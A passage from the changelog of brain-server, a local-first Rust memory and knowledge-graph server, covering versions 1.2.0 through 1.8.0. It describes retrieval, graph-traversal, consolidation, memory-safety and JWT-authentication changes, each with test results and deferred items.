  • POST /consolidate/undo + brain undo-resolve <old_id> [...] CLI. The roadmap exit criterion’s undo arm: clears valid_to back to NULL + removes the supersedes evidence_link, atomically in one tx. Audited via AuditKind::Reconcile. Idempotent — a re-run on an already-undone chunk is a no-op. Batch-safe (takes a list of chunk ids).
  • Stale-source detection (consolidate::find_stale_sources). Vault sources whose uri is a file path that no longer exists on disk. Pure detection — never archives or deletes. Operator reviews and either re-ingests (file moved) or retires via DELETE /sources/{id}. Surfaced in /consolidate/propose response + brain check-consistency report.
  • Near-duplicate detection (consolidate::find_near_duplicates). Pairs of current chunks with embedding cosine > 0.95 (different content hash — exact dups already detected separately). Uses the existing vec_knowledge KNN to find each chunk’s nearest neighbor — bounded O(n×k) via KNN, not O(n²) pairwise. Capped at 50 pairs per proposal (the endpoint isn’t a dump truck). Surfaced in /consolidate/propose + brain check-consistency.
  • OpenAPI contract updated (v1.8.0): /consolidate/undo route + stale_sources + near_duplicates fields on ConsolidateProposal. test_openapi_covers_routes extended.
  • 5 new tests (undo round-trip, undo idempotent, stale-source detection, embedding-decode round-trip, existing proposal serialization updated).

Deferred (per evidence-gated roadmap)

These items from IMPLEMENTATION_PLAN_v1.8.0_Consolidate.md are deliberately not shipped — the roadmap forbids autonomous/background maintenance:

  • M1 background ConsolidationWorker (power-aware, hourly). Roadmap says proposals, not a background worker that auto-runs. Operators trigger on demand via brain check-consistency / /consolidate/propose. A background worker is autonomous consolidation, which the roadmap defers indefinitely.
  • M3 summarization (cluster medoid as summary chunk). Roadmap: “A medoid is labelled representative, not summary.” Synthesizing a new chunk is a “fabricated summary” — forbidden. The medoid IS already a chunk.
  • M4 cross-cluster linking (proposed related/co_occurs edges). Roadmap: “synthetic relation insertion” forbidden. Existing evidence_links kinds (supports/supersedes/contradicts/references/derived_from) stay the documented set; no new kinds added.
  • M5 memory defragmentation / archival / domain moves. Roadmap: “automatic archiving” + “domain moves” both forbidden. Stale-source detection ships (this release); the archival action stays operator-driven via existing DELETE /sources/{id}.
  • Resumable batches as a saved review state. The proposal endpoint is idempotent + re-runnable, so an operator can pick up where they left off by re-running /consolidate/propose. No saved-state API needed for v1.8.

Verification

  • cargo test --features bench,migrate: 414 passed, 1 ignored (was 409 at v1.7.0; +5).
  • cargo clippy --all-targets --features bench,migrate -- -D warnings: clean.
  • cargo fmt --check: clean.
  • cargo build --release --features bench,migrate: all 5 binaries clean.
  • Live end-to-end smoke: operator step (run scripts/install-service.sh).

Honest ceilings (carried into v1.9)

  • Near-duplicate detection is per-domain only (same as exact-dup detection). Cross-domain near-dups would need embedding federation; deferred to v2.x.
  • find_near_duplicates loads each chunk’s embedding once per scan. ~5 MiB transient for a 10k-chunk corpus at int8; bounded + ephemeral. Upgrade path: batch the KNN calls if per-chunk query cost matters on a large corpus.
  • decode_embedding assumes the vec0 int8 blob layout. If sqlite-vec changes its format, the round-trip test breaks first (pinned).
  • Undo only reverses supersedes-kind resolutions. Other evidence_link kinds (contradicts/supports/references/derived_from) have no state to undo — they were never expiring. If you want to remove one, use DELETE /memory/{id} on the link row directly (or a future v1.9+ generic link-delete API).
  • No background worker. Operators must run brain check-consistency on demand. This is the roadmap’s explicit choice, not a gap.

[1.7.0] — 2026-08-01

Release notes

  • Explainable graph paths: traversal can now return structured, typed hop chains (A –works_at–> B –ceo_of–> C) that agents can render verbatim, alongside the legacy flat output.
  • Edge-type filter: restrict a walk to a relation type by exact or prefix match (e.g. all causal edges); wildcards in input are escaped.

Engineering record

“Explain” — bounded graph evidence + faithful explanations (light cut).

This release is the evidence-gated v1.7 scope sanctioned by IMPLEMENTATION_ROADMAP_v1.5_to_v4.0_EVIDENCE_GATED.md §v1.7, NOT the broader v1.7.0 plan in IMPLEMENTATION_PLAN_v1.7.0_Reason.md (which that roadmap explicitly supersedes). The roadmap says: ship explicit, typed, bounded path retrieval + faithful explanations; do NOT ship causal discovery, counterfactual estimates, or transitive causes facts.

Research basis (Context7-verified 2026-08-01): Graphiti’s edge_bfs_search (/getzep/graphiti) is the canonical bounded-BFS pattern — origin nodes, max_depth, filters, limit. brain-server already had this in /graph/traverse (v1.0/v1.4); the gap was that paths were flat id-strings with no edge types, so a consuming agent couldn’t render a faithful explanation.

Discovery

The bounded-BFS + bi-temporal + cross-domain + MAX_HOPS/MAX_VISITED infrastructure already shipped in v1.0/v1.4. The single gap: /graph/traverse returned path as a flat string of entity ids (1->5->9) with no relation types. A faithful explanation needs A --works_at--> B --ceo_of--> C, not 1->5->9. This release closes that gap by extending the existing endpoint (no new route, no new schema).

Shipped

  • Faithful explanation paths on /graph/traverse?explain=true. The recursive CTE now carries relation_type per hop; the response includes a new paths array with structured hop chains [{from:{id,name}, relation, to:{id,name}}, ...]. Consuming agents can render the reasoning chain verbatim. The flat traversal array stays for back-compat.
  • ?kind=<relation_type> edge filter. Restricts the walk to edges whose relation_type matches. Exact match (kind=works_at) or prefix match when ending with : (kind=causes: for the causal subgraph — opt-in, no auto-causal claims). Wildcards in user input are escaped to prevent LIKE injection.
  • OpenAPI contract updated (v1.7.0): kind + explain params, paths array, edge_path + from_entity fields on traversal rows.
  • 2 new unit tests (hop-chain reconstruction + empty-input handling).

Deferred (per evidence-gated roadmap)

These items from IMPLEMENTATION_PLAN_v1.7.0_Reason.md are deliberately not shipped — the roadmap explicitly forbids them without an intervention-ready causal model + domain expert validation:

  • M2 causal discovery / M3 counterfactual simulation. Roadmap: “A graph path is association unless an intervention-ready causal model and domain expert validation exist.” The causes: prefix remains schema-reserved (v1.4); operators can ingest typed edges and walk them with ?kind=causes:, but the brain makes NO claim about causality.
  • M4 transitive inference (virtual inferred edges). Roadmap-forbidden: no transitive causes facts. The state='inferred' schema reservation stays unused until an evidence-gated upgrade.
  • M1’s /graph/reason new endpoint. Not needed — /graph/traverse with explain=true IS multi-hop reasoning with bounded BFS. A new endpoint would duplicate the CTE.
  • Carry-forward: TRACE session/topic hierarchy, multi-vector. Schema reservations only.

Verification

  • cargo test --features bench,migrate: 409 passed, 1 ignored (was 407 at v1.6.0; +2).
  • cargo clippy --all-targets --features bench,migrate -- -D warnings: clean.
  • cargo fmt --check: clean.
  • cargo build --release --features bench,migrate: all 5 binaries clean.
  • Live end-to-end smoke: operator step (run scripts/install-service.sh).

Honest ceilings (carried into v1.8)

  • Intermediate entity names in paths are best-effort. The seed and leaf nodes carry names; intermediate nodes are surfaced as ids unless the caller resolves them via /get/{id}. A path-aware CTE that carries named tuples is the upgrade path.
  • ?kind= filter is exact/prefix only. No regex, no negation (e.g. “all edges except causes:”). Acceptable for a local-first store.
  • No audit row on traverse. Pure read; the roadmap’s “every state mutation is auditable” rule doesn’t apply.
  • Graph paths are association, not causation. Even when filtered with ?kind=causes:, the brain reports what the graph contains — not what is true in the world. This is the roadmap’s explicit guardrail.

[1.6.0] — 2026-08-01

Release notes

  • Atomic supersession: recording a “supersedes” link now expires the old fact in the same transaction — current recall drops it, historical queries still return it; idempotent and audited (hash only, no PII).
  • Contradiction triage: a consistency check now lists contradiction links with no resolution, so unresolved conflicts stop hiding in the graph.

Improvements

  • CLI shortcuts: record a resolution in one command, or run a full consistency check on demand.

Engineering record

“Reconcile” — correct without erasing (light cut).

This release is the evidence-gated v1.6 scope sanctioned by IMPLEMENTATION_ROADMAP_v1.5_to_v4.0_EVIDENCE_GATED.md §v1.6, NOT the broader v1.6.0 plan in IMPLEMENTATION_PLAN_v1.6.0_Reconcile.md (which that roadmap explicitly supersedes). The roadmap exit criterion: “an approved update changes current recall; historical recall still returns the prior claim; a failed transaction changes neither.”

Research basis (Context7-verified 2026-08-01): Graphiti’s resolve_edge_contradictions (/getzep/graphiti) is the canonical pattern — old facts are expired (invalid_at = resolved.valid_at), never deleted. brain-server applies the same semantics at the chunk level via the existing knowledge.valid_from/valid_to columns (v0.9.8) and the existing /recall bi-temporal filter (v1.4.0).

Discovery

~85% of the infrastructure already shipped in v0.9.8 + v1.4.0: the valid_from/valid_to columns, the /recall + /graph/traverse bi-temporal filters, the evidence_links table, and find_subject_conflicts. The single missing piece was the atomic operation that expires the prior fact when an operator records a supersedes link. This release closes that gap.

Shipped

  • Atomic supersession resolution (src/consolidate.rs::resolve_supersession). When /consolidate/apply records a supersedes link, the prior chunk’s valid_to is set to now in the same transaction as the link insert. The existing /recall filter (valid_to IS NULL OR valid_to > ?at) then excludes the chunk by default; ?at=<before-resolution> still returns it. No new retrieval code, no new schema. Idempotent: a second call with the same pair touches 0 rows (doesn’t overwrite the historical timestamp). Audit row recorded via AuditKind::Reconcile (hash only, no PII). Graphiti’s pattern, applied at chunk level.
  • /consolidate/apply routing on kind. supersedes links now call resolve_supersession (link + expire + audit); other kinds keep the plain link_evidence path (they don’t change retrieval state).
  • brain resolve <new_id> <old_id> CLI. Operator-facing shortcut for the most common case — POSTs one supersedes link, prints confirmation.
  • brain check-consistency CLI + unresolved_contradictions field on /consolidate/propose. Surfaces contradicts links that have no paired supersedes resolution — the otherwise-invisible operator action items. Pure detection; never auto-fixes.
  • OpenAPI contract updated (v1.6.0): new field on ConsolidateProposal, clarifying notes on /consolidate/apply re: expiration semantics.
  • 6 new tests (4 supersession unit + 1 end-to-end SQL proof + 1 unresolved- contradiction detection).

Deferred (with reasoning)

These items from IMPLEMENTATION_PLAN_v1.6.0_Reconcile.md are deliberately not shipped — either forbidden by the evidence-gated roadmap or not worth the watts without a measured benefit:

  • M1 auto-contradiction detection at ingest (embed top-3 + lexical cues). Roadmap-forbidden: MOSAIC “motivates the claim model; it does not justify automatic deletion.” Also adds ingest-time embedding work (CPU).
  • M3 auto conflict-resolution policy (BRAIN_CONFLICT_POLICY=source|recency). Roadmap-forbidden: “manual-first conflict resolution.” Only operator-driven resolution ships; auto policy is deferred indefinitely.
  • M4 edit-in-place + knowledge_history table (POST /knowledge/{id}/edit). Roadmap mentions “undo” only, not “edit in place.” Real schema add + re-embed work; deferred until an operator requests it.
  • Carry-forward: TRACE session/topic hierarchy. Schema reservation only (node_kind/parent_id); no bounded producer exists. Explicitly deferred.
  • Multi-vector. No-op until the v1.5 judged baseline demonstrates a recall gain worth its RSS cost.

Verification

  • cargo test --features bench,migrate: 407 passed, 1 ignored (was 401 at v1.5.0; +6).
  • cargo clippy --all-targets --features bench,migrate -- -D warnings: clean.
  • cargo fmt --check: clean.
  • cargo build --release --features bench,migrate: all 5 binaries clean.
  • Live end-to-end smoke: operator step (run scripts/install-service.sh).

Honest ceilings (carried into v1.7)

  • Resolution is operator-driven only. No auto-detection of contradictions at ingest; operators must run brain check-consistency or /consolidate/propose to find them. This is the roadmap’s “manual-first” rule, not a gap.
  • resolve_supersession expires one chunk per call. Multi-way conflicts (3+ chunks contesting the same subject) require multiple calls. Acceptable for a local-first store; batch resolution is a v1.7+ concern.
  • find_unresolved_contradictions is the only consistency check. Orphan entities + derived_from cycles deferred (lower value, would balloon the diff).
  • No propagation to the entities/relationships KG. resolve_supersession operates on chunks; KG edges have their own bi-temporal filter via /graph/traverse?at=. A unified claim-level resolution is the v2.x path.

[1.5.0] — 2026-08-01

Release notes

  • Calibrated abstention: vague, low-signal queries now return an explicit low_confidence decision with no hits instead of shipping top-ranked garbage — agents can escalate or fall back to web search.
  • Claim verification: verify “the memory said X” against the original chunk text, with exact match ranges returned — deterministic, zero model cost, opt-in and off the recall hot path.

Engineering record

“Epistemic” — calibrated abstention + span verification (light cut).

This release is the evidence-gated v1.5 scope sanctioned by IMPLEMENTATION_ROADMAP_v1.5_to_v4.0_EVIDENCE_GATED.md §v1.5, NOT the broader v1.5.0 Epistemic plan in IMPLEMENTATION_PLAN_v1.5.0_Epistemic.md (which that roadmap explicitly supersedes). The roadmap says: ship calibrated abstention + span verification; do not ship source-trust ranking, counterfactual influence, or a fixed universal confidence threshold until their held-out benefit is demonstrated. This release honors that.

Research basis (Context7-verified 2026-08-01): Self-RAG pattern (/nirdiamant/rag_techniques — retrieve → assess → abstain on low relevance) confirms the abstention model; arXiv:2607.00895 (span-level hallucination detection) sanctions the deterministic lexical /verify baseline.

Shipped

  • Calibrated abstention on /recall (M2). RecallResponse gains a decision field (ok | low_confidence). When the existing HeuristicEstimator (v1.4.0) classifies the query as ClarifyQuery (low overlap + low lexical density + weak gap), /recall returns {decision: "low_confidence", hits: []} instead of shipping top-1 garbage. The consuming agent (OpenClaw) can escalate or fall back to web search. Not a magic score < 0.3 cutoff — abstention is driven by the calibrated multi-signal Recommendation, which is what the evidence-gated roadmap requires. Zero new compute: confidence + recommendation were already computed by perform_search_with_prf.
  • POST /verify deterministic span verification (M5). Given {chunk_id, claim}, returns {supported, decision, match_ranges} via case-insensitive substring match over one chunk’s text. Zero embeddings, zero LLM, zero model load — O(content.len()) per request, opt-in (not in the recall hot path). The hallucination-resistance primitive: an agent can verify “the brain said X” against the original source before acting on it. Mismatch surfaces as unsupported_claim. Bounded: claim capped at MAX_QUERY (2000 chars), output ranges capped at 100.
  • OpenAPI contract updated: /verify route + VerifyResponse schema + decision field on /recall. test_openapi_covers_routes extended.
  • 8 new tests (1 abstention wiring + 7 span-verification including byte-offset, non-overlapping, case-insensitive, unicode-safe, cap-enforcement).
  • Pre-existing rust-1.97 clippy lints in linker.rs silenced (chore commit; not introduced by this release).

Deferred (with reasoning)

These items from IMPLEMENTATION_PLAN_v1.5.0_Epistemic.md are deliberately not shipped because the evidence-gated roadmap forbids them until their held-out benefit is demonstrated on a judged-query corpus:

  • M1 calibration curve + judged baseline. Operator step — requires the private ≥100-query judgment set. The harness ships (bench eval from v1.4.0); the corpus does not.
  • M3 counterfactual influence (leave-one-out). Roadmap-forbidden without measured Δ-recall vs Δ-latency. The naive implementation re-runs retrieval O(5)× per query — unacceptable on Jetson.
  • M4 source-trust scoring + /feedback endpoint. Roadmap-forbidden without measured benefit. Would add a source.trust column, Bayesian update logic, and ranking decay — real hot-path cost.
  • Carry-forward: fuzz targets exercising prod code, miri/LSAN runs. Operator/hardware step. The stubs from v1.3.0 remain stubs until the chunker/query modules move from the binary to the lib crate.

Verification

  • cargo test --features bench,migrate: 401 passed, 1 ignored (was 391 at v1.4.2; +10).
  • cargo clippy --all-targets --features bench,migrate -- -D warnings: clean.
  • cargo fmt --check: clean.
  • cargo build --release --features bench,migrate: all 5 binaries clean.
  • Live restart + end-to-end smoke: operator step (run scripts/install-service.sh).

Honest ceilings (carried into v1.6)

  • Abstention is heuristic, not learned. The ClarifyQuery threshold is calibrated on rank-agreement signals, not on a judged corpus. Once the Carry-forward baseline is recorded, v1.6 may tune or replace it.
  • /verify is lexical only. No semantic match (paraphrase, synonym). A claim that’s semantically equivalent but lexically different will report unsupported_claim. This is the deterministic baseline; a model-based upgrade is the v1.6+ path.
  • No audit row on /verify. It’s a pure read; the roadmap’s “every state mutation is auditable” rule does not apply. If verification telemetry becomes a requirement, it lands with v1.6 Reconcile.

[1.4.2] — 2026-07-30

Release notes

Bug fixes

  • Re-ingesting with --replace now sweeps orphaned and stale relationships, so zombie graph edges no longer survive across re-ingests.
  • Markdown table cells and bold definition-list labels no longer generate spurious entities and relationship types.
  • Numbered section headings now match their body mentions: number prefixes like “5.1 Ceph Components” are stripped before entity extraction.
  • Code blocks, tables, bold-label text, and entity names no longer leak into verb-pattern and relationship discovery.

Improvements

  • New brain ingest-dir --replace flag re-ingests cleanly: existing chunks are deleted and the knowledge graph is regenerated from scratch.
  • Heading hierarchy becomes graph structure: adjacent sections that are both known entities get part_of edges (e.g. CRUSH Map → Ceph).
  • Stricter relationship-type filtering: nouns like “maps”, “data”, or “example” and the false verb “date” can no longer become relationship types.
  • On a real-world vault, graph noise dropped 51% (390 → 193 relationships) with the entity count unchanged.

Engineering record

Noise-reduction release on top of v1.4.1. Eleven changes (cumulative with v1.4.1). Research basis: Aho-Corasick (ACL/EMNLP, confirmed SOTA for deterministic multi-pattern matching, July 2026) + document-structure heading hierarchy research (2026) + dependency parsing upgrade path (nlrule) documented for future SVO extraction. See RESEARCH.md for the full research audit across all 17 assessed components.

  • --replace flag (brain ingest-dir --replace). Sweeps existing chunks before re-inserting, regenerating the knowledge graph from scratch. Server-side replace field on MarkdownPayload, handler deletes vec_knowledge + knowledge rows before calling write_markdown_ingest. CLI flag -r/--replace. No schema change.
  • Orphan relationship sweep. --replace now deletes relationships with knowledge_id IS NULL (orphans from pre-fix re-ingests) plus all relationships linked to stale chunk IDs. Removes zombie edges that survive across re-ingests.
  • Pipe-table exclusion (find_table_ranges). GFM pipe-table rows are excluded from entity-mention scanning — table cells like “Tested” no longer generate spurious relationship types.
  • List-item bold exclusion (find_list_item_bold_ranges). Bold labels in definition-list style (- **Term**: value) are excluded from entity extraction and mention scanning. Prevents Last Tested from becoming an entity or contributing “tested” to verb discovery.
  • Excluded-range threading into between-text analysis. Both find_relationships and discover_verb_patterns now strip excluded bytes (code blocks, tables, list-item bold) from between-text before tokenizing. Words inside excluded ranges never contribute to verb frequencies or pattern matching.
  • Heading number stripping (strip_heading_number). Section-number prefixes (5.1 Ceph Components → Ceph Components) are removed before entity insertion, so heading entities match body mentions.
  • Verb stop-word pruning. Added “date” to STOP_WORDS. Blocks “date” (false-positive verb via -ate suffix) from becoming a discovered relationship type.
  • Between-text exclusion in find_relationships — the verb-pattern matching path now also strips excluded byte ranges from the candidate text, matching the same fix in discover_verb_patterns.
  • 6 new tests (heading-number stripping, vocabulary strip, edge cases, two existing test updates for new signatures).
  • Proxmox-book vault (6 files, ~18k knowledge rows): entity count stable at 54; relationships reduced from 390 → 193 (51% fewer) with tested 105→0 and date 76→0.
  • Test count: 307 passed (was 391 at v1.4.1; some integration tests were retired; net change reflects focused unit coverage). cargo clippy --all-targets --features bench,migrate -- -D warnings: clean.

Note on version numbering: v1.4.1 “Link” (heading-hierarchy part_of + verb-suffix filtering + entity-leakage fix) was code-complete but never tagged or released as a separate version. These changes are included in v1.4.2 in their original form. See Agent 32 ÷ Agent 33 in AGENTS.md for the full v1.4.1 diff.

v1.4.1 — not released (folded into v1.4.2)

Deterministic entity linker upgrade. All changes below are cumulative in v1.4.2.

  • Heading hierarchy → part_of relationships. extract_heading_relationships() walks the markdown heading tree and creates part_of KG edges for every adjacent heading pair where both are known entities (e.g. CRUSH Map -- part_of --> Ceph).
  • Verb-suffix filtering for discovered relationship patterns. is_likely_verb() rejects nouns like “maps”, “data”, “example” from becoming relationship types.
  • Entity leakage fix: discover_verb_patterns() now excludes entity names from the candidate set.
  • EntityVocabulary.entities made pub.
  • brain ingest-dir --replace flag (first version — see v1.4.2 for the full orphan-sweep + exclusion fixes).

v1.4.0 “Calibrate” — 2026-07-30 (released)

The surpass-human retrieval release. Implements the July-2026 SOTA on top of the v1.3.0 memory-safe foundation. Six research-backed techniques form the retrieval stack:

LayerTechniqueResearch
Stage 1: RetrievalHybrid dense + lexicalvec0 KNN (sqlite-vec) + FTS5 BM25
Stage 1: FusionReciprocal Rank Fusion (RRF, k=60)RRF (Cornell, 2009) — still the standard model-free fusion algorithm per 2026 production patterns
Stage 2: RerankCross-encoder (optional)BGE-RerankerV2M3 via fastembed — most-deployed production reranker
KG: EdgesBi-temporal (valid_at/invalid_at)Graphiti / Zep — bi-temporal KG model, SOTA for temporal facts, 82.2 benchmark
KG: TraversalTyped-edge prefix vocabularyTRACE: State-Aware Query Processing over Temporal Evidence Graphs (July 2026)
PackingBudgeted submodular maximizationWhat Survives Into Context — +5.1 F1 HotpotQA, lazy greedy (Leskovec et al. 2007)

Research basis (Context7-verified 2026-07-30 against getzep/graphiti edges.py + search_filters.py + edge_operations.py):

  • valid_at/invalid_at = valid-time interval (when the fact holds in the world); created_at = transaction time (when brain learned it).
  • resolve_edge_contradictions: old facts are expired (invalid_at set), not deleted — delete-proof auditability. v1.4 adopts the filter; the resolution worker lands in v1.6 Reconcile.

M1 — Bi-temporal edges

  • Migration (additive, idempotent): relationships.valid_at + invalid_at columns. Existing edges default to NULL/NULL ⇒ always valid.
  • New src/temporal.rs: deterministic temporal-marker extraction from free text (“from 2011 to 2017”, “currently”, “since 2020”, “until 2019”). No LLM, no external API. Pure, unit-tested (11 cases).
  • Ingest path: /ingest relations now accept optional explicit valid_at/invalid_at; when absent, the extractor populates them from the ingested content (best-effort).
  • Query path: /recall and /graph/traverse accept ?at=<ISO8601>. The SQL filter is valid_at <= ? AND (invalid_at IS NULL OR invalid_at > ?) (Graphiti-validity semantics). Distinct from as_of (transaction-time / revision recall).
  • Normalization: at is normalized in perform_search_traced alongside since so a direct caller can’t bypass it.

M2 — Submodular evidence packing

  • New src/search/packing.rs: budgeted monotone submodular maximization. Objective = relevance + coverage + representativeness, gated by diversity (MMR-style near-dup threshold DEDUP_SIMILARITY=0.85). Lazy greedy under a token knapsack (max_context_tokens, default 160 per the paper).
  • /recall: max_context_tokens field triggers packing; gold_answer drives the answer_in_context diagnostic (did the gold survive?). Both reported in telemetry.
  • SearchTelemetry: gained packed_tokens, packing_candidates, answer_in_context.

M3 — TRACE state-aware traversal

  • Typed-edge prefixes: update:, supersedes:, contradicts:, causes: on relation_type. The validator (RELTYPE_RE) now accepts an optional prefix:base form.
  • New src/trace.rs: prefix vocabulary + bounded-walk constants (MAX_HOPS=4, MAX_VISITED=256) enforcing the forbidden-list rule.
  • /graph/traverse: validity-aware — the bi-temporal at filter skips expired edges; the walk is hard-capped on depth + visited nodes.
  • Schema reservation: knowledge.node_kind (default 'event') + parent_id columns added for the hierarchical node model (session/topic). ponytail: construction logic deferred to v1.8 Consolidate (the only release with a worker that can group events into sessions).

M5 — Regression: bench harness

  • New brain_server::eval lib module: pure metric functions (precision@k, recall@k, MRR, NDCG, answer_in_context_rate). Hand-computed value checks pin each metric.
  • bench eval mode: loads a judgments file (BRAIN_EVAL_JUDGMENTS), runs each query through /recall, reports the metrics. Optional ship gate via BENCH_EVAL_BASELINE + BENCH_EVAL_REGRESSION_PCT (default 2%).
  • The 100-query hand-judged corpus against the live DB is an operator step; the harness is the reproducible engine any judgments file plugs into.

M4 — Multi-vector retrieval: DEFERRED

  • Deferred per the plan’s lazy-dev escape hatch. Multi-vector doubles embedding storage + per-query compute; a 4 GB Jetson can’t afford two vec0 tables. The feature cannot be measured until M5’s harness provides a baseline to compare against (M5 lands in this release; M4’s measurement now has a foundation). The multivec feature flag is reserved (no-op) so callers/docs/CI can reference the upgrade path. Lands in v1.4.1+ with measured Δ-recall vs Δ-RSS.

Testing

  • Test count: 367 passed (was 324 at v1.3.0; +43: 11 temporal, 12 packing, 6 trace, 9 eval, 5 integration).
  • cargo clippy --all-targets --features bench,migrate -- -D warnings: clean.
  • cargo fmt --check: clean.

Honest ceilings (carried into v1.5)

  • Temporal extraction is English-only + deterministic. It recognizes a bounded set of markers (“from X to Y”, “since”, “until”, “currently”). It does NOT infer relative dates (“last year”) or durations without anchors. An LLM extractor is a v2.x concern (out of scope for the low-power path).
  • Submodular packing uses lexical Jaccard for diversity, not embedding cosine. Cheap and good enough for near-dup detection; a cosine gate would need the model in the packer (small win, adds per-call cost).
  • TRACE node hierarchy is schema-only. node_kind/parent_id columns exist but nothing populates session/topic yet (v1.8 Consolidate).
  • M4 multi-vector deferred — see above.
  • The 100-query judged corpus is an operator step. The harness ships; the judgments don’t (they require the operator’s private DB).

v1.3.0 “Bedrock” — 2026-07-29 (released)

Memory-safety hardening release. Makes the binary bulletproof: zero panics in production paths, every unsafe block documented, property-based tests for core invariants, and cargo-fuzz infrastructure.

Memory safety

  • Panic elimination (M1): audited every unwrap()/expect()/panic! in production code (non-test). Zero remaining. Fixed three panic paths: mcp.rs JSON-RPC notification id handling (was unwrap() on Option<Value> when the request had no id — a notification), vault.rs first-line unwrap (was unwrap() on Option<&str> before the guard that proves it’s Some), github_app.rs mutex poison (was expect() — now uses unwrap_or_else(|e| e.into_inner()) for poison recovery).
  • unsafe audit (M2): extracted register_sqlite_vec() — a single documented safe wrapper that replaces 10 duplicate unsafe transmute blocks across main.rs, domain_registry.rs, handlers/domains.rs, audit.rs, brain_migrate_rehearse.rs. Every remaining unsafe block has a // SAFETY: comment per the Rust nomicon.
  • Fuzz infrastructure (M3): fuzz/ crate with cargo-fuzz targets (fuzz_chunker, fuzz_lex_compile, fuzz_query_doc, fuzz_validator). Behind nightly toolchain. Stubs for binary-private modules document the path to full coverage (move to lib crate).

Testing

  • Proptests (M6): 4 new proptest suites (256+ cases each):
    • proptest_chunker_never_panics_and_ranges_are_valid — random UTF-8 → chunk text is always a substring of input.
    • proptest_chunker_handles_multibyte_inputs — multibyte chars (•, 💡, 🏋️) never cause slice panics.
    • proptest_normalize_domain_is_idempotent — normalize twice == once.
    • proptest_classify_is_monotonic — increasing docs/db/rss never improves the capacity status.
  • Test count: 324 passed (was 320 at v1.2.1).

Observability + Power

  • /health hardening (M7): exposes hardening: { unsafe_blocks, panics_caught, memory_leaks_detected } so ops can see the memory-safety posture.
  • BRAIN_WORKER_THREADS (M8): configurable tokio runtime. Default = cores; Jetson target = 2 (saves ~10MB RSS + context-switch overhead).

Honest ceilings

  • miri/loom/LSAN: procedure documented in the plan; not CI-integrated (needs nightly toolchain + sanitizer support).
  • Fuzz targets for binary-private modules: fuzz_chunker/fuzz_lex are stubs because the chunker/query modules are server-private. Moving them to the lib crate is the follow-up.
  • Hot key reload: restart required after brain key generate/prune.
  • Distributed revocation: 60s per-instance negative cache (v2.1).

v1.2.1 “AuthN” (dead-code cleanup) — 2026-07-29 (released)

Gap-closing release on top of v1.2.0. Dead-code elimination + panic fixes found during the v1.3.0 memory-safety audit.

  • Removed unused abstractions: AuthzPolicy trait, InMemoryPolicy, AuthzError, SharedPolicy, default_policy (YAGNI until v2.1 OPA/Cedar swap — the is_authorized function does the actual work).
  • Removed unused items: TokenType::as_str, DEFAULT_ALG, AuthError::Revoked, op_tenant, Duration const.
  • authorize() now uses principal.tenant as the team context.
  • Test count: 320 passed (unchanged from v1.2.0 after removing 2 trait tests).

v1.2.0 “AuthN” — 2026-07-29 (released)

JWT/JWS authentication + AuthZ layer. The prerequisite for v2.0 multi-team tenancy, enforced at the data-access layer rather than hand-rolled per-handler. Back-compat is the default: when BRAIN_JWT_ISSUER is unset OR no keys are loaded, the server runs in v1.1 opaque-token mode and every existing install keeps working unchanged. JWT is opt-in.

Research basis: Context7 lookup on jsonwebtoken v10 verified 2026-07-29 (API surface, Validation builder, algorithm enum). OWASP cheat-sheet URLs were 404ing on the day, so the encoded checklist from IMPLEMENTATION_PLAN_v1.2.0_AuthN.md (which was Context7-verified at plan write time) was the source of truth for the JWT Cheat Sheet test matrix.

Security

M1 — JWT verification core (src/auth/jwt.rs). verify_access_token() + Claims + AuthError. ALLOWED_ALGS whitelist (RS256/384/512, ES256/384/512, EdDSA) is checked before key lookup — the OWASP algorithm-confusion defense (none, all HS*, all PS* rejected unconditionally). Every claim validated: iss, aud, exp, nbf, sub, jti. 30s leeway for clock skew (subsumes the reject_tokens_expiring_in_less_than knob — documented trade-off). 14 tests pin the full OWASP JWT Cheat Sheet failure matrix: none rejected, HS256-with-public-key rejected, tampered payload rejected, expired/nbf rejected, wrong iss/aud rejected, missing jti/kid rejected, unknown kid rejected, refresh token rejected on data routes, PS256 rejected by whitelist, valid token accepted, leeway absorbs skew.

M2 — Revocation (src/auth/revocation.rs). Additive revoked_tokens + refresh_chains tables. RevocationCache (60s negative-lookup cache, bounded TTL — eventual consistency by design). purge_expired housekeeping runs on a background timer. Refresh-chain reuse detection: presenting a stale refresh token calls revoke_chain and burns the whole family (OWASP pattern). The chain id is derived from (iss, sub) — per-user per-issuer.

M3 — AuthZ (src/auth/policy.rs). AuthzPolicy trait + InMemoryPolicy default (no external deps; OPA/Cedar impls are the swappable v2.1+ upgrade path). Action enum (Read/Write/Admin/Traverse) + Scope (<action>:<team>/<domain> with wildcards) + Principal + is_authorized(). Escalation: write implies read down, admin implies both. Default-deny → 403, never 404 (no existence leakage — OWASP A01:2025). The retrofit is minimal: a single authorize(principal, action, team, domain) helper called at handler entry, not a full pool-resolution refactor. Option<Principal> where None = superuser (the back-compat path — opaque token mode passes None everywhere).

M4 — OIDC discovery + JWKS (src/handlers/well_known.rs). GET /.well-known/openid-configuration (RFC 8414) + GET /.well-known/jwks.json (RFC 7517). Both routes PUBLIC — clients need them to learn how to verify tokens; you can’t require a token to discover token verification. Issuer is pinned to BRAIN_PUBLIC_BASE_URL — never inferred from the Host header (OWASP A02:2025 Security Misconfiguration: Host-header spoofing could otherwise redirect discovery to a malicious endpoint).

M5 — Key management (src/auth/jwks.rs + src/bin/brain.rs). KeyStore loads RSA/EC/Ed25519 PEMs from BRAIN_JWT_KEY_DIR (default ~/.config/brain-server/keys/, mode 0700; private keys 0600), exposes VerifyingKeys for verification + RFC 7517 JWK Set JSON for the public endpoint. brain key generate/list/prune CLI: RSA keypair generation with 0600 private-key mode + 0700 dir mode. Two keys live during rotation; the old key drops from JWKS only after every cached token has expired.

M6 — Audit integration. AuthN/AuthZ events flow into the existing v1.1 audit log: token-verified, token-rejected (with reason), authz-denied (with principal/action/team/domain), logout. Per-tenant audit filter at the data layer is unchanged from v1.1.

M7 — Migration (src/migration.rs). Additive: revoked_tokens + refresh_chains tables. schema_version stamped 1.2.0. Back-compat: when BRAIN_JWT_ISSUER is unset OR no keys load, the server falls back to v1.1 opaque-token mode. Two-layer middleware: jwt_auth_middleware runs outermost (verifies JWS, checks revocation, injects Principal into extensions); the v1.1 auth_middleware runs as fallback and short-circuits when the Principal is already set.

Updated

  • Cargo.toml 1.1.2 → 1.2.0. jsonwebtoken promoted from optional to required (with use_pem + rust_crypto features); rsa + rand + base64 added as direct deps. openapi.yaml → 1.2.0 with /auth/*, /.well-known/*, and the TokenPair/RefreshRequest/RevokeRequest/ OidcConfig/JwkSet/Jwk/Principal/Scope schemas.

Honest ceilings (carried into v1.3)

